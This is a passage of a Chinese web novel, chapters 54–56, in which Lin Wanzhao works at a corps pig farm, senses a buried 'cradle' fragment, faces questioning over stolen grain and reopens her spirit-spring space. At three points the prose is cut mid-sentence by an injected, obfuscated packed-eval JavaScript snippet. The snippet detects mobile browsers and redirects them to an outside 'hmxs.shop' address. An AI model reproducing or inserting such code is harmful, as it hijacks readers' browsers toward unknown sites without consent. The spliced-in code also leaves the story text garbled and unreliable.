明天要打草。这是一个观察周围环境、熟悉地形、甚至可能获得更多信息的机会。她需要留意“红岸”基地的动静,也需要思考如何更巧妙地运用树苗和银镯的感应,在不暴露自己的前提下,探寻“摇篮”碎片的线索。 还有,她必须尽快让身体恢复得更好。灵泉空间……她集中精神,再次尝试。这一次,不知道是不是因为白天体力劳动促进了血液循环,或是老陈头那罐猪油和热粥带来了生机,她竟然感觉到,那扇“门”的缝隙,似乎又扩大了一点点!虽然依旧无法取物,但有一缕极其细微的、带着清新生命气息的能量,从中渗透出来,融入她的四肢百骸,让她伤处的痛楚明显减轻,精神也为之一振! 有希望! 就在她心中微喜,准备进一步尝试时,远处——不是“红岸”基地方向,而是更靠近连队营房那边,忽然传来一阵喧哗,夹杂着几声清晰的狗吠和人的呼喊,在寂静的雪夜里格外刺耳。 林晚照立刻坐起身,侧耳倾听。 喧哗声很快平息下去,但狗吠声却持续了一阵,方向似乎朝着荒草甸子那边去了。 深更半夜,连队里发生了什么事?抓贼?还是…… 她想起白天隐约听到的议论,说最近附近不太平,有丢东西的,也有说看到陌生影子的。 一种不太好的预感,悄然爬上心头。 54.夜吠、晨霜与草甸子 后半夜,林晚照睡得极不安稳。远处的狗吠时断时续,间或夹杂着模糊的人声和脚步声,在寂静的雪原上被风拉扯得破碎,更添几分诡秘。她几次起身,凑到工具房那扇破窗前向外张望,但夜色浓重,风雪未停,除了营房方向零星几点灯火和影影绰绰晃动的手电光柱,什么也看不清。 是抓小偷?还是有其他情况?会不会和自己有关?这个念头让她心中一紧。但仔细回想,自己来到三连后深居简出,除了赵卫国和老陈头,几乎没和任何人打过照面,应该不至于这么快就引起特别关注。更大的可能,是连队自身的事务,或者……与“红岸”基地近期的异常有关。 她强迫自己躺下,却再也无法入睡,只是闭目养神,同时全力感应着灵泉空间。那扇“门”的缝隙似乎稳定在了比之前稍宽一点的状态,丝丝缕缕的清凉气息持续不断地滋润着她的身体,修复的速度明显加快。这给了她一些底气。只要再给她一些时间,身体和空间都能恢复更多。 天刚蒙蒙亮,工具房外就传来了老陈头熟悉的、轻微的咳嗽声。林晚照立刻起身,用昨晚存下的温水快速洗漱,将冰冷的玉米面窝头就着热水吃下,穿上臃肿的棉衣,走了出去。 老陈头已经套好了那辆破旧的人力板车,车上放着两把长柄镰刀、几捆绳子和两个破麻袋。他依旧沉默,只是示意林晚照上车。板车在冻硬的雪地上吱呀作响,朝着连队北面的荒草甸子驶去。 路过营房区时,林晚照注意到,早起打扫院子或准备上工的人们,三三两两聚在一起,低声议论着什么,气氛有些不同往常。她看到赵卫国也在其中,眉头紧锁,正和一个年纪稍大的战士说着话。看到板车经过,赵卫国望过来,与林晚照视线一碰,他微微摇了摇头,眼神示意她别多问,然后很快又转开了视线。 果然有事。林晚照心下了然,收回目光,低头坐在板车上,仿佛对周围的一切漠不关心。 出了连队范围,视野骤然开阔。一望无际的荒草甸子覆盖着厚厚的积雪,枯黄的草茎从雪中顽强地探出头,在寒风中瑟瑟抖动。远处是起伏的丘陵和更稀疏的树林,天地间一片苍茫的灰白。 “夜里,炊事班丢了两袋玉米面,半筐土豆。”老陈头忽然开口,声音被风吹得有些飘忽,他头也没回,像是自言自语,又像是说给林晚照听,“狗追出去,到甸子边,脚印就乱了,没了。” 偷粮食?在这个年代,在建设兵团这种准军事化单位,偷盗集体粮食是严重的罪行。但更让林晚照在意的是后半句——脚印到甸子边就乱了,没了。如果是外人偷盗,带着沉重的粮食,在雪地上应该留下清晰的痕迹才对。没了,是什么意思?被风雪掩盖了?还是…… “不是一般人。”老陈头补充了一句,语气平淡,却带着某种笃定。他停下板车,拿起一把镰刀,指了指一片长得较高的枯草丛,“割这种,硬实,耐烧。留茬别太低,明春还能发。” 林晚照接过另一把镰刀。镰刀很沉,刃口有些钝。她学着老陈头的姿势,弯腰,挥臂,将一丛丛枯草割倒。动作一开始很生疏,效率也低,但她很快掌握了发力技巧,加上灵泉气息对体力的恢复和增强,速度渐渐赶了上来。锋利的草茎边缘割在手背上,留下细小的血口,她也只是皱了皱眉,继续挥动镰刀。 一时间,荒凉的草甸子上,只剩下镰刀割草的唰唰声、风声,以及两人粗重的呼吸喷出的白雾。 劳动让人专注,也让人思绪沉淀。林晚照一边割草,一边思考着夜里的失窃案。老陈头那句“不是一般人”在她脑中盘旋。不是一般的偷儿,那会是什么人?附近的村民?可能性不大,兵团与周边村庄关系通常尚可,且为点粮食冒这么大风险不划算。流窜的盲流?但能在兵团警戒和狗追捕下迅速消失,这本事未免太大。难道……是“红岸”基地里的人?或者,是与基地异常相关的某种“存在”? 她想起昨夜银镯的灼烫和远处幽蓝的闪烁。两者之间,是否有关联? “陈伯,”她停下手,擦了擦额角的汗,装作随意地问,“咱们这边,冬天除了咱们连队和……那边基地,还有别人吗?比如猎户?” 老陈头也直起身,捶了捶后腰,眯眼望着茫茫雪原。“早些年有。这两年,少了。”他顿了顿,“这边,不太平。” “不太平?”林晚照心头一动。 老陈头没立刻回答,弯下腰继续割草,直到又割倒一大片,才闷声道:“有狼。冬天饿急了,敢靠近。还有……别的。” “别的?”林晚照追问。 老陈头却不再说了,只是指了指更远处一片草甸:“那边,草好。过去看看。” 林晚照知道问不出更多了,便跟着他往那边走。脚下的雪很深,每走一步都陷到小腿。她注意到,老陈头行走的路线有些奇怪,似乎在避开某些区域。有一次,她差点一脚踩进一个被雪掩盖的浅坑,被老陈头一把拉住。 “小心点。这些坑,夏天是水洼子,冬天冻硬了,面上雪盖着,踩塌了崴脚。”老陈头解释了一句。 又往前走了一段,来到一片地势略高、背风的草坡。这里的枯草长得格外茂密粗壮。老陈头开始动手割草,林晚照也跟着忙活。 就在这时,她左手腕的银镯,毫无征兆地,传来一阵极其轻微但持续的麻痒感,像是被微弱的电流划过。不是昨晚那种灼烫,更像是一种……共鸣?或者说是被某种同源但微弱得多的磁场或能量波动所触及。 与此同时,她意识深处的树苗,那点绿意也轻轻摇曳了一下,传递出一丝模糊的亲切与困惑交织的意念。 有东西!就在附近!很可能,就是蕾拉留下的“摇篮”碎片,或者与之相关的东西! 林晚照的心脏猛地漏跳一拍。她强行压下立刻寻找的冲动,强迫自己继续割草的动作,但所有的感官都提升到了极致。她不动声色地观察着周围的环境——除了雪和草,似乎没有什么特别。脚下是冻土,远处是稀疏的树林和更远的山影。 麻痒感断断续续,似乎在移动,或者其源头本身就不稳定。她一边割草,一边极其缓慢地、不着痕迹地调整着自己的位置和方向,试图通过银镯和树苗感应的强弱变化来定位。 终于,当她移动到草坡边缘,靠近几块半埋在雪中、不起眼的黑色风化岩石时,麻痒感明显增强了。树苗的意念也清晰了一丝,带着一种孺慕般的渴望。 是这些石头?还是石头下面? 她装作割草累了,蹲下身,用镰刀拨弄着岩石边缘的积雪和枯草,同时将戴着银镯的左手,似无意地贴近地面。 就在她的左手即将触碰到其中一块岩石下方的冻土时—— “林晚!别动那儿!” 一声急促的低喝从身后传来! 林晚照动作一僵,立刻收回手,站起身,回头看去。只见老陈头不知何时已经走了过来,脸色是从未有过的严肃,甚至带着一丝……紧张?他几步跨到林晚照身边,一把将她往后拉了两步,远离了那几块岩石。 “陈伯?”林晚照做出疑惑不解的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920559|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 老陈头没看她,目光紧紧盯着那几块岩石,尤其是林晚照刚才想要触碰的那块,眼神锐利如鹰。他蹲下身,仔细看了看岩石周围的雪地和泥土,又用手(戴着手套)小心翼翼地拂开岩石根部的一些浮雪。 林晚照也顺着他的目光看去,起初没发现什么异常,但很快,她注意到,在那块岩石背阴面的根部,冻土的颜色似乎比周围要深一点点,隐隐透出一种不正常的暗沉,而且,那里的雪融化得似乎比别处稍快一些,露出一点湿黑的泥土。 “这地方……”老陈头直起身,拍了拍手上的雪,脸色依旧凝重,“邪性。夏天草都不爱长。有牲口在这儿吃过草,回去就闹病。”他看向林晚照,语气带着不容置疑的告诫,“以后打草,绕着这儿走。听见没?” “听见了,陈伯。”林晚照老实点头,心中却掀起惊涛骇浪。邪性?牲口闹病?这描述,结合银镯和树苗的反应,让她几乎可以肯定,这下面有东西!而且,很可能是带有辐射、能量污染或者其他异常特性的“摇篮”碎片!老陈头显然知道这里不对劲,但以他的认知,只能归结为“邪性”。 这是否意味着,碎片不止一处?或者,蕾拉留下的东西,因为某种原因(比如坠落、埋藏、能量泄露)对环境产生了影响? “草差不多了,回吧。”老陈头似乎不想在此地多待,开始将割倒的枯草捆扎起来,装上板车。 回程的路上,两人都沉默着。林晚照在消化今天的惊人发现,同时警惕着可能存在的监视或追踪。老陈头则似乎心事重重,赶车的动作都比来时慢了些。 快到连队时,他们被一个骑着自行车、穿着军装(没有领章帽徽,像是文书或通信员)的年轻战士拦住了。 “老陈头!连长让你去连部一趟!”战士喘着气说,目光在林晚照身上扫了一下,没多问。 老陈头应了一声,对林晚照说:“你先回去,把草卸了,喂猪。”然后便跟着那战士往连部方向去了。 林晚照独自赶着板车回到养猪场。卸草,喂猪,清理。做完这些,天色已近黄昏。老陈头还没回来。 她回到工具房,生了火,煮上一点菜粥。火光跳跃中,她摊开左手,看着腕上安静如常的银镯。 今天发现的地点,必须标记下来。但如何进一步探查?以她现在的身份和能力,几乎不可能在不惊动任何人的情况下挖开冻土。而且,那里显然被老陈头这样的本地人视为不祥之地,贸然行动风险极大。 或许……可以通过银镯和树苗的远程感应,尝试与碎片建立更清晰的联系?或者,等待灵泉空间进一步恢复,看看是否有其他手段? 就在她沉思时,外面传来了脚步声,不止一人。 她立刻收敛心神,走到门口。只见老陈头回来了,身边还跟着两个人——连长王大山,以及一个她没见过、穿着深蓝色中山装、戴着眼镜、气质斯文却目光敏锐的中年男人。 王大山的脸色比平时更加严肃。而那个中年男人的目光,如同探针,瞬间就落在了林晚照身上。 “林晚,”王大山开口,声音低沉,“这位是团部调查组的周干事。关于昨晚连队失窃的事,有些情况需要了解一下。你,跟周干事说说,昨天夜里,有没有听到或者看到什么异常?” 调查组?这么快就来了?而且,直接找到了她这个最新来的“盲流”? 林晚照的心,缓缓沉了下去。她迎着周干事那双仿佛能看透人心的眼睛,知道真正的考验,或许才刚刚开始。 55.盘问与铁锅里的秘密 工具房低矮的门框,仿佛一道无形的界限。门外是北大荒严酷而真实的寒冬,门内是跳动的灶火和两个神色各异的男人带来的、另一种形式的压力。 林晚照站在灶台边,火光照亮她半边脸庞,另外半边隐在阴影里。她垂着眼,双手在身前交握,指节因为用力而微微发白,充分展现出一个骤然面对“上级领导”盘问的、底层劳动妇女该有的紧张与不安。棉袄袖口被她下意识地往下拉了拉,遮住手腕。 “林晚同志,别紧张。”周干事开口了,声音不高,带着一种刻意的温和,但那双镜片后的眼睛却锐利依旧,“就是简单了解一下情况。坐吧。”他自己先在小板凳上坐下了,从随身的公文包里拿出一个笔记本和钢笔。 王大山站在稍后一点的位置,脸色沉郁,目光在林晚照和周干事之间来回扫视,带着审视,也有一丝不易察觉的复杂。老陈头则默默地走到灶膛边,拿起火钳拨弄柴禾,仿佛眼前的事与他无关,但微微侧身的姿势表明他正听着。 林晚照依言在另一个小板凳上坐下,身体略微前倾,姿态恭敬而拘谨。 “你是什么时候到三连的?”周干事翻开笔记本,语气平常得像拉家常。 “报告领导,是大前天……下午。”林晚照声音不大,带着南方口音,语气怯怯的。 “怎么来的?” “走来的……路上遇到了赵卫国同志,他……他看我可怜,帮了我,报告了连长。”她按照之前和王大山、赵卫国对好的说辞回答,语气带着感激和后怕,“要不是赵同志和连长收留,我可能就冻死在外面了。” “哦?赵卫国是在哪里遇到你的?”周干事笔尖在纸上记录着,头也没抬。 “在……在连队北面那片荒草甸子边上,一个旧窝棚附近。”林晚照回答。这是实话,只是隐去了她最初出现在“红岸”警戒区边缘的关键。 “一个人?当时什么状况?” “就我一个人,又冷又饿,身上还有伤,走不动了,在窝棚里躲风雪。”林晚照的声音低了下去,带着哽咽,“带的干粮早吃完了,介绍信和包袱也丢了……” “伤是怎么弄的?”周干事终于抬起眼,目光如锥。 来了。林晚照心脏微微一缩,但脸上适时露出恐惧和痛苦交织的表情:“是……是狼。晚上迷路的时候遇到的,拼了命才跑掉,衣裳被树枝挂破了,也摔得不轻。”她缩了缩肩膀,仿佛回想起那场景仍心有余悸。这个解释既能说明伤口和狼狈,也符合北大荒荒野的实际情况。 周干事盯着她看了几秒,似乎在判断她话语的真伪,然后点了点头,在笔记本上记了几笔。“到了三连之后,一直住在哪里?都干了些什么?” “报告领导,一直住在这个工具房。连长让我在养猪场帮忙,跟着陈伯干活。每天就是喂猪、清圈、铡草、挑水。”林晚照回答得很快,语气朴实,列举的活计也都是养猪场最日常的,“陈伯让我干啥我就干啥。” “昨天晚上,你在哪里?听到或者看到什么异常动静没有?”周干事的问题转向了核心。 林晚照露出努力回忆的神情,眉头微蹙:“昨天晚上……我喂完最后一遍猪,收拾完,天就黑透了。又冷又累,早早就在炕上躺下了。”她顿了顿,声音带着一丝不确定,“好像……好像是听到外面有点动静,狗叫得挺凶,还有人声……但风大雪大,听不真切。我以为是连队里晚上有事,没敢出去看。” “具体是什么时间听到的?持续了多久?”周干事追问细节。 “时间……我说不好,大概……半夜吧?我睡得迷迷糊糊的。狗叫了一阵,后来好像停了,又好像有,我也分不清是做梦还是真的。”林晚照的回答含糊其辞,符合一个疲惫不堪、被惊醒又很快睡去的外来者的模糊记忆。她既不能完全否认听到动静(那样反而不自然),也不能描述得太清楚(容易出纰漏)。 周干事再次记录,然后合上笔记本,但并没有放回公文包,只是拿在手里,身体微微前倾,目光似乎更加专注。“林晚同志,据我们初步了解,昨晚失窃的粮食数量不小,而且盗窃者手段利落,对连队环境似乎也比较熟悉。你刚来不久,对周围的人和事,有没有发现什么……不寻常的地方?或者,有没有人跟你打听过连队里粮食储存、哨位这些情况?” 这个问题更危险,带着明显的引导和试探。是在怀疑她有同伙?还是想看她会不会为了撇清自己而胡乱攀咬? 林晚照猛地抬起头,脸上露出慌乱和急切,连连摆手:“没有!领导,真的没有!我来了之后就跟着陈伯干活,除了赵同志送过两次东西,几乎没跟别人说过话!更没人问我那些!我……我就是个干活吃饭的,啥也不知道啊!”她的急切显得真实,那种生怕被牵连的恐惧也恰到好处。 一旁的王大山眉头皱得更紧,但没说话。老陈头拨火的动作停了一下。 周干事又盯着她看了片刻,脸上那种刻意的温和渐渐淡去,恢复成公事公办的严肃。“林晚同志,你的情况,王连长已经向营部做了初步汇报。但现在连队发生了这样严重的失窃事件,涉及集体财产,我们必须对每一个可疑环节进行排查。你作为新来的、且来历尚未完全核实清楚的人员,接受询问是必要程序。希望你理解,也积极配合。” “我理解,我配合!领导,我说的都是实话!”林晚照用力点头,眼神恳切。 “嗯。”周干事站起身,在狭小的工具房里踱了两步,目光扫过简陋的土炕、破旧的灶台、墙角堆放的那点可怜的口粮。最后,他的视线落在了灶台上那口正在咕嘟冒着小泡、散发着朴素菜粥香气的小铁锅上。 林晚照的心瞬间提了起来。锅里煮的是她晚上那份口粮,玉米面加一点土豆萝卜咸菜,再平常不过。 周干事走到灶台边,拿起灶台上的木头锅盖,看了一眼里面的粥,又看了看旁边装玉米面和小袋土豆萝卜的破筐,似乎只是随意检查。然后,他放下锅盖,目光不经意地扫过灶台边缘一个不起眼的角落——那里放着老陈头给的那个粗陶罐,盖子半掩着,露出里面雪白的猪油。 “生活上有什么困难吗?”周干事忽然问,语气又缓和了些。 “没有没有,连长和陈伯都很照顾我,有吃有住,还能为集体出力,我很知足了。”林晚照连忙说。 周干事点了点头,没再看那陶罐,转身对王大山说:“王连长,基本情况我了解了。林晚同志这边,暂时没有发现明显疑点。不过,按照程序,她的活动范围还需要进一步明确限制,在失窃案彻底查清、她的身份背景核实完毕之前,最好不要离开养猪场区域。相关情况,我会如实向团部汇报。” “是,周干事,我们一定严格执行。”王大山沉声应道。 周干事又看了一眼林晚照,眼神深邃,让人看不出他究竟信了几分。“林晚同志,这几天安心劳动,不要有思想负担。但也记住,如果想起任何有价值的线索,或者有人接触你,要立即向王连长报告。” “我记住了,领导。”林晚照低头应道。 周干事没有再说什么,夹起公文包,对王大山示意了一下,两人前一后走出了工具房。老陈头也跟着出去了,似乎要去送送。 工具房里,只剩下林晚照一个人,和那锅即将煮沸的粥。 她缓缓吐出一口一直憋在胸口的浊气,后背的棉衣内衬已经被冷汗浸湿了一片。刚才的盘问,看似平淡,实则步步惊心。周干事每一个问题都藏着机锋,尤其是最后关于“可疑人员”和“活动范围”的强调,既是警告,也意味着她并没有完全摆脱嫌疑,反而被看得更紧了。 暂时过关,但危机远未解除。调查组显然不会轻易罢休。而且,她注意到周干事看那罐猪油的眼神,虽然只是一扫而过,但以那个年代物资匮乏背景下干部特有的敏锐,很难说他没有起疑。一个刚来的、身无长物的“盲流”,哪来的猪油?虽然可以说是老陈头给的,但这也可能成为新的调查点。 她必须更加小心。灵泉空间恢复的迹象,绝不能暴露。对草甸子那个“邪性”地点的探查,也必须从长计议,现在绝对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926031|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是好时机。 她走到灶台边,看着那罐猪油,犹豫了一下,还是小心地挖了一小块,放入煮沸的粥里。油脂迅速化开,给清汤寡水的粥增添了一丝难得的油润香气。身体需要热量和营养来恢复,现在不是过度节省的时候。 她盛了一碗粥,慢慢喝着。温热的食物下肚,驱散了部分寒意,也让她纷乱的思绪渐渐清晰。 周干事的到来和失窃案,虽然带来了风险,但也传递出一些信息:第一,“红岸”基地或周边确实不太平,可能有不止一股势力或“东西”在活动;第二,兵团上层的警惕性很高,反应迅速;第三,她的存在已经被纳入某种“观察名单”。 这对她探查“摇篮”碎片极为不利,但也并非全是坏事。高度戒备的环境,或许也能成为某种掩护?或者,当真正的“异常”出现时,混乱中反而可能有机会? 就在她沉思时,外面又传来了脚步声,这次只有一个人,很轻。 是赵卫国。他探头进来,脸色不太好看,压低声音:“林晚,没事吧?周干事问啥了?” “就问了些基本情况,还有昨天晚上的事。”林晚照放下碗,轻声回答,“我说我睡得沉,没听太清。” 赵卫国松了口气,又皱眉道:“这偷粮的贼太可恨了!连队现在人心惶惶。连长压力也大。”他看了看林晚照,欲言又止,“那个……周干事可能还会查一阵子,你……你自己千万当心。有啥事,随时让老陈头喊我。” “谢谢你,赵同志。我没事。”林晚照感激地说。 赵卫国点点头,又匆匆走了,似乎还有事要忙。 夜深了。林晚照收拾好灶台,躺在冰冷的炕上。今天经历了太多:发现碎片线索、应对突击盘问、感受到更严密的监视。身体和精神都异常疲惫,但大脑却异常清醒。 她集中精神,再次尝试沟通灵泉空间。这一次,不知道是不是因为白天应对盘问时精神高度集中,激发了某种潜能,她清晰地感觉到,那扇“门”的缝隙,又扩大了一丝!虽然依旧无法取物,但渗透出来的清凉气息明显增多,如同涓涓细流,持续不断地滋养着她的身体和精神。她能感觉到,胸腹间最严重的几处闷痛正在快速缓解,手上的冻伤和磨破的水泡也传来痒痒的愈合感。 更让她惊喜的是,当她的意识顺着这股清凉气息,尝试更深入地“触摸”那扇“门”时,一段极其模糊、破碎的信息,仿佛隔了万水千山,断断续续地传递到她的感知中: “……能量标记……共鸣点……三处……三角稳定……滋养……隐蔽……” 信息戛然而止。但林晚照却如遭雷击! 能量标记?共鸣点?三处?三角稳定? 难道……蕾拉留下的“摇篮”碎片,不止草甸子那一处?而是有三个点,构成某种稳定的三角结构?草甸子那个,只是其中之一?另外两处在哪里?也在“红岸”附近吗? “滋养”和“隐蔽”又是什么意思?是碎片的功能?还是蕾拉留下的某种提示? 这个突如其来的发现,让她呼吸急促。如果真是这样,那么寻找和理解这些碎片,或许比她想象的更复杂,也更重要。 她必须尽快恢复更多力量,必须想办法在不暴露的前提下,找到并确认另外两个“共鸣点”! 而就在这时,她左手腕的银镯,再次传来一阵极其轻微但清晰的震动,像是被远处某个同频的脉搏所牵引。震动的方向……似乎不再是草甸子,而是隐隐指向“红岸”基地的更深处。 与此同时,一阵突如其来的、极其尖锐凄厉的狼嚎,划破了寂静的雪原夜空,从荒草甸子的方向传来,久久不息,带着一种令人毛骨悚然的狂躁与痛苦。 不是一声,而是接连好几声,此起彼伏,仿佛整个狼群都陷入了某种疯狂。 工具房里,林晚照猛地坐起身,黑暗中,她的眼睛亮得惊人。 草甸子……狼群……碎片? 难道,失窃案,狼群异动,碎片感应……这些看似不相干的事,背后有着某种诡异的联系? 56.狼踪、油灯与第二个点 凄厉的狼嚎声在雪原上回荡了将近一刻钟,才渐渐平息下去,留下的是死一般的寂静,和更深沉的不安。 林晚照站在工具房门口,望向黑暗笼罩的荒草甸子方向,寒风卷着雪沫扑打在脸上,冰冷刺骨。她能感觉到,连队营房那边的灯光迅速亮起了更多,嘈杂的人声和狗吠声再次响起,手电光柱在夜空中晃动,显然都被这异常的狼嚎惊动了。 这绝不正常。狼是狡猾而谨慎的动物,即使在饥饿的冬季,通常也不会如此靠近人类聚居地,更不会发出这种充满痛苦和狂躁的集体嚎叫。联想到白天发现的“邪性”地点和老陈头关于牲口闹病的说法,林晚照几乎可以肯定,狼群的异变与那个地方有关,很可能就是“摇篮”碎片泄露的能量影响了野生动物。 麻烦要来了。 果然,没过多久,一阵急促的哨音响彻连队上空,紧接着是王大山连长通过简陋扩音器传来的、带着金属质感的严厉命令:“全体注意!一排、二排,携带武器,立刻到连部门口集合!三排加强营区警戒!饲养班、后勤人员待在各自岗位,不得随意走动!” 养猪场属于后勤,林晚照被明确要求不得外出。她看到老陈头也从他的小屋里走了出来,佝偻着身子站在屋檐下,默默望着连队方向集结的火把和手电光芒,昏黄的老油灯映着他沟壑纵横的脸,表情凝重。 “陈伯,这狼……”林晚照走到他身边,低声问。 老陈头沉默了一会儿,哑声道:“闹邪了。”他顿了顿,补充了一句,“那年,也有过一回。后来……死了好几头牲口,还伤了一个人。” 林晚照心一沉。能量污染对生物的影响是直接且危险的。如果碎片能量持续泄露,影响范围扩大,后果不堪设想。她必须尽快弄清情况,但眼下只能被困在这里。 集合的队伍很快出发,火把和手电的光龙朝着荒草甸子方向蜿蜒而去,夹杂着阵阵犬吠和人的呼喝声,在夜色中显得格外肃杀。 工具房里,油灯如豆。林晚照关好门,坐在炕沿,强迫自己冷静下来。越是混乱的时刻,越需要清晰的头脑。她开始梳理已知信息: 1. “摇篮”碎片:至少有三处,构成三角稳定结构。草甸子发现一处(A点),能量泄露,对环境和生物产生影响(邪性、牲口病、狼群狂躁)。银镯新指向一处(B点),可能位于“红岸”基地内部或更隐蔽处。第三处(C点)未知。 2. 自身状况:灵泉空间持续恢复,已能传递模糊信息。身体伤势好转明显,但距离全盛时期还差得远。身份受疑,活动受限。 3. 外部环境:连队发生蹊跷失窃案,调查组介入。狼群异常,引发连队武装排查。“红岸”基地内部似乎也有不寻常动静(幽蓝闪烁、仪器波动)。 4. 可用资源:老陈头有限的信任和帮助,赵卫国的善意但能力有限,自身逐渐恢复的金手指(需隐蔽)。 眼下最紧迫的,似乎是狼群和碎片A点可能引发的骚乱。但这对她而言,也可能是一个机会——混乱中,注意力转移,或许能为自己争取到一丝喘息或探查的空间。 当务之急,是进一步恢复灵泉空间!只要空间能打开,哪怕只是取出一点点灵泉水或基础物资,她的生存能力和行动自由度都将大大提升。 她盘腿坐好,闭上眼睛,将全部心神沉入意识深处。树苗的绿意比之前明亮了些许,缓缓摇曳。她引导着那涓涓细流般的清凉气息,不再仅仅用于滋养身体,而是尝试着,小心翼翼地“推动”那扇隐约可见的“门”。 这一次,她不再被动接受渗透出的气息,而是主动将精神力凝聚成丝,如同最精巧的探针,沿着门缝向内“探”去。 阻力很大,仿佛在推开一扇生锈的、万钧重的铁门。精神力飞速消耗,额头很快渗出冷汗,太阳穴突突直跳。但她咬牙坚持,将树苗传递来的那点微弱的、同源的能量也附着在精神力上,一起用力。 不知过了多久,就在她感觉精神力即将耗尽,头痛欲裂时—— “咔……” 一声极其轻微、仿佛冰层裂开的脆响,在她的意识深处响起! 那扇“门”,终于被推开了一道足以伸进一只手的缝隙!虽然依旧无法让整个意识进入,也无法看清空间内部全貌,但一股远比之前渗透气息精纯、浓郁十倍的清新能量扑面而来!同时,一种模糊的“触感”告诉她,在门口附近,似乎堆放着一些东西! 成功了!灵泉空间,初步打开了! 狂喜瞬间涌上心头,但她立刻压制下去。现在不是细看的时候,精神力消耗巨大,必须速战速决。她集中意念,尝试“取出”物品。 首先感应到的,是离“门”最近、似乎也是最基础的——水。不是灵泉水(那似乎需要更深入),而是空间内储存的普通清水。她意念一动,试图引出一股。 下一瞬,她感觉到右手掌心微微一沉,一股清冽的水流凭空出现,大约一碗的量,哗啦一下落在她事先放在腿边的破陶碗里,溅起几朵水花。 真的可以!林晚照心脏狂跳。她顾不上欣喜,立刻再次尝试。这次的目标更明确——食物。空间里有她末世前收集的部分应急食品。 意念集中,精神力再次抽痛。一小块用油纸包裹的、硬邦邦的东西出现在她左手手心。她迅速打开,是压缩饼干!虽然不多,只有巴掌大一块,但在这食物匮乏的时候,无疑是雪中送炭! 还想再试,但脑袋一阵剧烈的眩晕袭来,眼前发黑。她知道这是精神力透支的迹象,不能再继续了。她立刻停止,小心地将那碗水和压缩饼干藏到炕席下面。然后喝了一口刚取出的清水。水入口清甜甘冽,远比融化的雪水好喝,一股微弱的暖流随之扩散,稍稍缓解了精神上的疲惫。 空间初步打开,意义重大。这意味着她有了稳定的水源和应急食物来源,生存保障大大增强。更重要的是,随着空间继续恢复,灵泉水和更多物资、甚至其他功能都可能解锁。 她靠在冰冷的土墙上,一边平复呼吸和心跳,一边思考着下一步。有了这点资本,或许可以尝试一些更主动的行动。比如,利用夜间,在养猪场范围内,悄悄测试一下银镯对B点(新指向)的感应强度变化,大致判断其方位和距离。 还有那“三角稳定”……如果能找到第二个点(B点),或许能对碎片的功能和蕾拉的意图有更多了解。 就在这时,外面传来了嘈杂的脚步声和说话声,由远及近。排查的队伍回来了。 林晚照立刻吹灭油灯,躺到炕上,装作已经睡下,耳朵却竖起来听着外面的动静。 队伍没有直接回营房,而是在养猪场附近停了一下。她听到王大山连长沙哑而疲惫的声音:“……脚印很乱,有狼的,也有别的……东西的。草甸子边上那几块黑石头附近,痕迹最重。妈的,邪了门了!粮食口袋的碎片在那边找到了,被撕得稀烂,像是被什么东西咬过、扯过的。” “连长,会不会是狼群把粮食拖走了?”一个年轻战士的声音。 “狼要粮食干什么?还专门咬烂口袋?而且那脚印……不像全是狼的。”另一个声音反驳,带着困惑和一丝惧意,“有个别脚印……看着有点怪,俺说不上来。” “行了!别瞎猜!”王大山打断,“今晚加强巡逻,双岗!明天天亮,组织人手,把草甸子边上那片地方,给我仔细搜一遍!特别是老陈头说的那几块‘邪性’石头周围!” “是!” “另外,”王大山的语气更加严肃,“通知下去,任何人,没有命令,不得单独靠近荒草甸子,尤其是晚上!饲养班的人也是!老陈头,林晚,你们听清楚了没?” “听清楚了。”外面传来老陈头闷闷的应答。 林晚照在黑暗中应了一声:“听到了,连长。” 脚步声渐渐远去,连队逐渐重新陷入沉睡的寂静,但一种无形的紧张氛围已经弥漫开来。 林晚照却再也睡不着。排查队的发现印证了她的猜测:失窃的粮食被拖到了碎片A点附近,并被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926032|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “某种东西”破坏。狼群和可能的其他变异生物被吸引过去,导致了狂躁和异常脚印。碎片能量正在造成越来越明显的影响。 必须加快行动了。在事态彻底失控、引来更高层级关注(比如“红岸”基地的专业人员)之前,她需要了解更多。 第二天,天气依旧阴沉。连队的气氛明显不同往日,战士们神色警惕,议论纷纷。养猪场的活计照旧,但老陈头的话更少了,眉头一直锁着。林晚照也默默干活,同时更加留意周围的动静。 午后,趁着老陈头在午休(他有关节炎,中午要躺一会儿热炕),林晚照借口去工具房后头的柴垛搬点引火草,悄悄绕到了养猪场最西侧的围墙边。这里距离营房较远,相对僻静,也是银镯对B点感应相对较强的方向。 她背靠土墙,假装整理柴草,左手垂下,衣袖里的银镯贴着皮肤。集中精神,仔细感受。 